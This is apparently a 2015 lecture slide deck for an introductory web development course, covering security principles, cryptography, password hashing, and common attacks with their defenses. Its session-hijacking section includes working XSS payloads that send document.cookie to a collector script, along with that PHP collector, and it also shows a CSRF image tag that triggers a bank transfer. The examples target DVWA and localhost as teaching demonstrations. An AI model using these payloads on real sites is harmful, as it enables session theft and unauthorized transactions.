Embed Size (px)
Citation preview
Web SecurityMarissa SchmidtCS401: Intro to Web Development
2015
Topics: Security Overview
● Information Security● Computer and Network Security● Web Security
Topics: Web Security
● Motivation● Secure Communication● Hash Functions● Common Exploits
○ SQL Injection○ Cross-Site Scripting (XSS)○ Session Hijacking○ Cross-Site Request Forgery
Security OverviewInformation
Information Security
Defending information from unauthorized access, usage, disruption, modification or destruction.A general term that applies to various forms of data (physical, electronic, etc.)
Basic PrinciplesConfidentiality
A set of rules or an agreement that limits access or imposes restrictions on certain types of information.
IntegrityMaintaining the consistency and accuracy of information to ensure that it can’t be modified in an unauthorized or undetected manner.
AvailabilityThe information is accessible when needed; so the storage, security, and communication mediums must function correctly to ensure accessibility and prevent disruptions.
Basic PrinciplesAuthenticity
Ensure that the information, and the associated transactions and communication mediums are genuine, where the involved parties are validated (to make sure they are who they claim to be).
Non-repudiationThe ability to ensure that a party to a contract or a communication cannot deny the authenticity of their signature on a document or the sending of a message that they originated.
Security OverviewComputers and Networks
Information Technology (IT) Security
Information security applied to technology.● Computing devices.
● Public and private computer networks,including the entire internet.
Also referred to as computer security or cyber security.
Web SecurityOur main focus
Web Security
The practice of defending websites, web applications, and web services from unauthorized access, usage, disruption, modification or destruction.All of the basic security principles apply:
Confidentiality Integrity Availability Authenticity Non-repudiation
Introduction and Motivation
● Maintaining security and privacy of communication and info is essential for global, interconnected infrastructure.
● Complex social and business apps are now delivered over the web.
● “Everything” is on the web!
Introduction and Motivation
The www can be a hostile place!Assume nothing, trust no one...It is our duty as web programmers to protect and defend web-based systems.● We must acquire knowledge and learn skills
to deal with attacks.
Introduction and Motivation
● The knowledge, practice, and tools of web security are not only necessary and fundamental, but serve as valuable, powerful, and applicable skillsets for many jobs and industries around the world.
● Web security simply cannot be ignored.
Introduction and Motivation
The rapid increase in usage, development, and applications on the www demands that we pay close attention to detail when it comes to security.● If even one vulnerability of a public website
is overlooked, then the results can be disastrous!
Introduction and MotivationEven if your website doesn’t contain sensitive data such as personal records, credit card numbers, etc., it may still be a target for an attacker.
Websites are attacked for many different reasons and it happens all the time!
Introduction and MotivationIf an attacker compromises a website, then they may: ● read private data,● modify, delete, or falsify data,● damage, deface, or shutdown the site,● harm the site’s reputation or credibility,● use the site (or the underlying server) as a platform to
launch additional attacks against other people, websites, or systems (i.e. to spread spam, viruses, trojans, key loggers, or other malware).
Secure CommunicationCryptography
CryptologyCryptography
The science of the mathematical techniques for securing messages. More generally, it is the construction, analysis, and practice of codes and protocols for secure communication in the presence of third parties (often called “adversaries”).
CryptanalysisThe science of breaking cryptography.
CryptologyThe science of both cryptography and cryptanalysis; it is a fundamental component of web security!
CryptologyDue to the time limitations of this class and that cryptology is vast discipline, we can only explore the essential basics of cryptography in web applications... but there is plenty more to learn about on this topics in other classes.
Cryptography: Basic Terminology
PlaintextInformation a sender wishes to transmit to a receiver.
CiphertextEncoded information that contains a form of the original plaintext that is unreadable by a human or computer (without the proper means to decode it).
CipherA secret or “camouflaged” method of writing, in which plaintext is transformed into ciphertext.
Cryptography: Basic Terminology
EncryptionThe process of transforming plaintext into ciphertext.
DecryptionThe reverse process of transforming ciphertext into plaintext.
Key A piece of information (a parameter) that determines the functional output of a cipher---encryption and decryption are controlled by keys.
Cryptography: Encryption Methods
Modern encryption methods can be divided into two categories.1. Private-key cryptography (symmetric key ciphers):
The same key is used for encryption and decryption.2. Public-key cryptography (asymmetric key ciphers):
Two different keys are used for encryption and decryption.
Symmetric (Private) Key Cryptography
The key is shared privately between the sender and receiver, and is kept secret from the public. In other words, only the web client and web server know the key, and this key must be securely transmitted between them.
Private Key Private Key
Asymmetric (Public) Key Cryptography
Both the sender and receiver are each assigned a pair of keys: E (a public key, known to everyone) and D (a private key, known only to the owner). In other words, the web client has a key pair and the web server has a key pair, so this key doesn’t need to be securely transmitted between them.
Symmetric vs Asymmetric Ciphers
In general, relatively faster algorithms.
Less secure. If the key is stolen, then security is lost. So the key exchange between the client and server must be done carefully and strictly controlled.
Not scalable. In the case of multiple clients, then multiple keys must be securely transmitted with each new session. (i.e. 1000 clients requires 999 keys.)
In general, relatively slower algorithms.
More secure. For the client and the server, the public keys shared to everyone and the private keys are kept secret, so there is no need to exchange the private keys.
Scalable. In the case of multiple clients, then the server and each of the clients needs only one public key and one private key. These never need to change.
Symmetric Ciphers Asymmetric Ciphers
General Session Key ExchangeAsymmetric ciphers are used to negotiate a symmetric private key for a web session between the client and the server.
● Symmetric ciphers are faster than asymmetric ciphers.● Asymmetric ciphers don’t need to share a private key.
○ Don’t need to worry about transmitting it.
Popular Ciphers
Popular examples of symmetric ciphers● Triple Data Encryption Standard (3-DES): accepted as standard in
1977. Older, phasing out.● Advanced Encryption Standard (AES): based on Rijndael cipher,
accepted as the new global standard in 2001.
Popular examples of asymmetric ciphers● Rivest-Shamir-Adelman (RSA): published in 1977.● El Gamal: published in 1985.
HTTPSHTTPS (or “HTTP over SSL” or “HTTP over TLS”): ● A communications protocol for secure communication over a computer
network or the Internet.● Is the result of simply layering the HTTP on top of either secure sockets
layer (SSL) or transport layer security (TLS), where TLS is the successor to SSL.
● Provides authentication of the website and server that the client is communicating with.
● Protects the privacy and integrity of the exchanged data against man-in-the-middle attacks.
HTTPSLook at a few certificates:https://www.firsttechfed.com/https://my.boisestate.edu/pages/default.aspx
One-Way Hashing
DefinitionsOne-way function
A function that’s “easy” to compute on every input, but “hard” to compute the inverse given the output. (e.g. recall the Diffe-Hellman key exchange)
Hash functionAny one-way function that can be used to map digital data of an arbitrary size to digital data of a fixed size. (e.g. HashTables)
Cryptographic hash functionA hash function that is considered to be practically impossible to invert---given the digest (or “output hash value”), it is practically impossible to recover the message (or “input value”). Are often referred to as “the workhorses of modern cryptography”.
Examples
Note: miniscule changes in the source input drastically change the resulting output.
Key FeaturesThe ideal cryptographic hash function has four key features: 1. It is easy to compute the digest for any given message.
It is computationally infeasible to: 2. modify a message without changing the digest, 3. find two different messages with the same digest, and 4. generate a message from its digest.
Well-Known ImplementationsSome examples of well-known cryptographic hash functions are:● MD4 (published in 1990 with 128-bit digest) and MD5 (published in 1991
with 128-bit digest)---both were found to have collision flaws and are considered obsolete.
● SHA-1 (published in 1995 with 160-bit digest), SHA-2 (published in 2001 with 224, 256, 384, and 512-bit digests), and SHA-3 (published in 2012 with 224, 256, 384, and 512-bit digests).
Note: to date both SHA-2 and SHA-3 are considered secure, and serve as two popular flavors.
Salting the HashBut, what if two users have the same password?
SaltRandom data that is used as an additional input to a cryptographic hash function that hashes a password.
Often, for a given username-password pair, the password is concatenated with a random, non-secret salt value before the hash function is applied. Then the salt is stored with the password hash.
Salts are used to defend against attacks such as dictionary attacks, which rely on precomputed hash values for common passwords.
Hashing Passwords in PHP<?php $digest = hash("sha256", "password" . "fKd93Vmz!k*dAv5029Vkf9$3Aa");# re-hash and compare to verify ?>
http://php.net/manual/en/function.hash.php
<?php $salted_digest = password_hash("password", PASSWORD_DEFAULT);password_verify("password", $salted_digest);?>
http://php.net/manual/en/function.password-hash.phphttp://php.net/manual/en/faq.passwords.php
Application for one-way hashingSome major example applications:● Message or file integrity (i.e. comparing digests before
and after transmission).
● User account authentication (i.e. store hashed passwords in database).
● Digital signature authentication (i.e. verify that a message was created by a known sender).
Common ExploitsAttacks and Defenses
Overview
● SQL Injection● Cross-Site Scripting (XSS)● Session Hijacking● Cross-Site Request Forgery
SQL InjectionWe already talked about this.How can we prevent it?
Cross-Site Scripting (XSS)
Code injectionThe insertion of program code into an unexpected or undesired place in an application.
Cross-site scripting (XSS)The act of inserting malicious code into a web page to be viewed by others; which is a specific method of code injection.
Cross-Site Scripting (XSS)Typically involve the insertion of malicious HTML or JavaScript code via form submission on a website, which causes the code to appear on the form’s response page. This may allow attackers to bypass access controls to do all kinds of stuff.
Popularity: In 2007, Symantec estimated that 84% of all web-based attacks were XSS attacks. (still one of most popular in 2015)
XSS TypesNon-persistent (or “reflected”)
Code injections that cause the server-side scripts to “temporary” display results for and to that user on the affected page.○ Typically the most common and least damaging.
Persistent (or “stored”)Code injections that cause attack data to be stored on the server and “permanently” display results to all web users visiting the affected pages.○ Typically less common and most damaging.
XSS ExamplesShow XSS attack examples on Damn Vulnerable Web Application.
<script>alert(‘yodle’);</script>
<script>alert(document.cookie)</script> // returns session id of user
XSS Defense
If the HTML form submission data is not properly validated and sanitized, then vulnerabilities exist and thus XSS attacks become possible!
Session HijackingThe Session Hijacking attack compromises the session token by stealing or predicting a valid session token to gain unauthorized access to the Web Server.
https://www.owasp.org/index.php/Session_hijacking_attack
Session Hijacking AttacksWays a session token could be compromised.● Predictable session token● Session Sniffing● XSS● Man-in-the-middle attack
Sessing Hijacking & XSS Example<script>document.location.replace("http://localhost/~marissa/steal.php?what=" + document.cookie + "&whatnext=http://localhost/dvwa/vulnerabilities/xss_s/");</script>
document.cookie = "stolen=; expires=Thu, 01 Jan 1970 00:00:00 UTC";
<script>if( document.cookie.indexOf("stolen") < 0) { document.cookie = "stolen=true";document.location.replace("http://localhost/~marissa/steal.php?what=" + document.cookie + "&whatnext=http://localhost/dvwa/vulnerabilities/xss_s/&userAgent=" + navigator.userAgent");}</script>
Sessing Hijacking & XSS Example<?php$file = "stolen.txt"; if(isset($_GET)) { file_put_contents($file, $_GET['what'], FILE_APPEND); $location = "Location:" . $_GET['whatnext']; header($location); }?>
Cross-Site Request ForgeryAlso known as a one-click attack or session riding and abbreviated as CSRF or XSRF.
Unauthorized commands are transmitted from a user that the website trusts.
Attack works by including a link or script in a page that accesses a site to which the user is known (or is supposed) to have been authenticated.
Cross-Site Request Forgery (CSRF)Example 15.35 from textbook: Web page with malicious CSRF image embedded
<html>...<!-- If the victim visits this page and have a session with mybank.com, then the attacker wins --><img src=”http://mybank.com/transfer.php?amount=123.45&recipientID=42” alt=”pwned” width=”1” height=”1” />...</body></html>
CSRF Defense - Partial PreventionHelpful, but only partial prevention methods:● Check the HTTP referrer header that is sent on each
request made to the server. (i.e. in PHP use the global variable $_SERVER[“HTTP_REFERER”].)
● Limit session time for inactivity.
CSRF Defense - Reliable PreventionEnsure that the only page that can legally originate a request to the “transfer.php” page is a “pre-transfer.php” page.
Each time the pre-transfer.php page is fetched, perform the following steps:
CSRF Defense - Reliable Prevention1. Generate a unique “token” value that is difficult to guess (i.e. the hash of
a random number).
2. Temporarily store the token in the user’s session data as a session variable.
3. Embed the token inside this user’s copy of pre-transfer.php as a hidden form input value to be sent to the server when the user initiates their transfer.
4. Once the HTTP request arrives at transfer.php, check the query parameters sent to verify that the token in the request matches the one saved in the user’s session.
CSRF Defense - Reliable PreventionThe token only exists across this one form submission and then is discarded.
The token isn’t known by the browser unless it is actually viewing pre-transfer.php, so the attacker has no way to find the token and thus can’t use it to trick the browser.
CSRF Defense - Reliable PreventionExample 15.36 from textbook: PHP code for pre-transfer.php with unique ID token
<?php$token = md5(uniqid(rand(), TRUE));$_SESSION[“token”] = $token;
?><form action=”transfer.php” method=”post”>...
<input type=”hidden” name=”token” value=”<?= $token ?>” /><input type=”submit” value=”Make Transfer” />
</form>
CSRF Defense - Reliable PreventionThe md5(text) computes and returns a cryptographic hash of the given string using the MD5 algorithm (this is from the book. What might we use instead?).
The uniqid(prefix, moreUnique) returns a semi-unique ID string that is a function of the prefix and the current time. If moreUnique is TRUE, then the resulting IDs is more unique.
CSRF Defense - Reliable PreventionExample 15.37 from textbook: PHP code for transfer.php to check ID token<?phpif(!isset($_POST[“token”]) || !isset($_SESSION[“token”]) ||
$_POST[“token”] !== $_SESSION[“token”]) {# form POST does not contain proper ID token; invalidate # request(your actual error message would likely be more# verbose than this)print “Error: Your session is invalid. Transfer not performed.”;die();
} # continued on next slide...
CSRF Defense - Reliable Prevention
# continued from previous slide.else {
unset($_SESSION[“token”]); # discard temporary token# process form; make transfer ....
}?>
Top 10 attacks 2013
https://www.owasp.org/index.php/Top_10_2013-Top_10
Rules for Secure CodingBorrowed from: Innocent Code. A security wake-up call for web programmers.
Sverre H. Huseby
Rules for secure coding (1)
Do not underestimate the power of the dark side.
Use POST requests when actions have side effects.
In a server-side context, there is no such thing as client-side security.
Rules for secure coding (2)
Never use the Referer header for authentication or authorization.
Always generate a new session ID once the user logs in.
Never pass detailed error messages to the client.
Rules for secure coding (3)
Always handle metacharacters when passing data to subsystems. (e.g. ’ ; \ --)
When possible, pass data separate from control information. (e.g. prepared statements)
Strive for “Defense in Depth”. (e.g. prepared statements AND restricting database access)
Rules for secure coding (4)
Don’t blindly trust the API documentation.
Identify all sources of input to the application. (e.g. hidden fields, cookies, radio buttons)
Pay attention to the invisible security barrier: validate all input, always.
Rules for secure coding (5)
When filtering, use whitelisting rather than blacklisting.
Do not massage input to make it valid.
Create application-level logs.
Rules for secure coding (6)
Never use client-side scripts for security.
Pass as little internal state information as possible to the client. (e.g. use sessions instead of cookies)
Do not assume that requests will come in a certain order. (e.g. log in, then view hidden page)
Rules for secure coding (7)
Filter all data before including them in a web page, no matter the origin. (e.g. input files)
Stick to existing cryptographic algorithms, do not create your own. (even if you are really smart)
Never store clear-text passwords. (hash them. preferably with SHA and salt)
Rules for secure coding (8)
Never use GET for secret data, including session IDs.
Assume that server-side code is available to hackers. (move includes outside of web hierarchy, deny file types, don’t list directories without index.html)
Security is not a product; it’s a process. (don’t tack it on at the end)
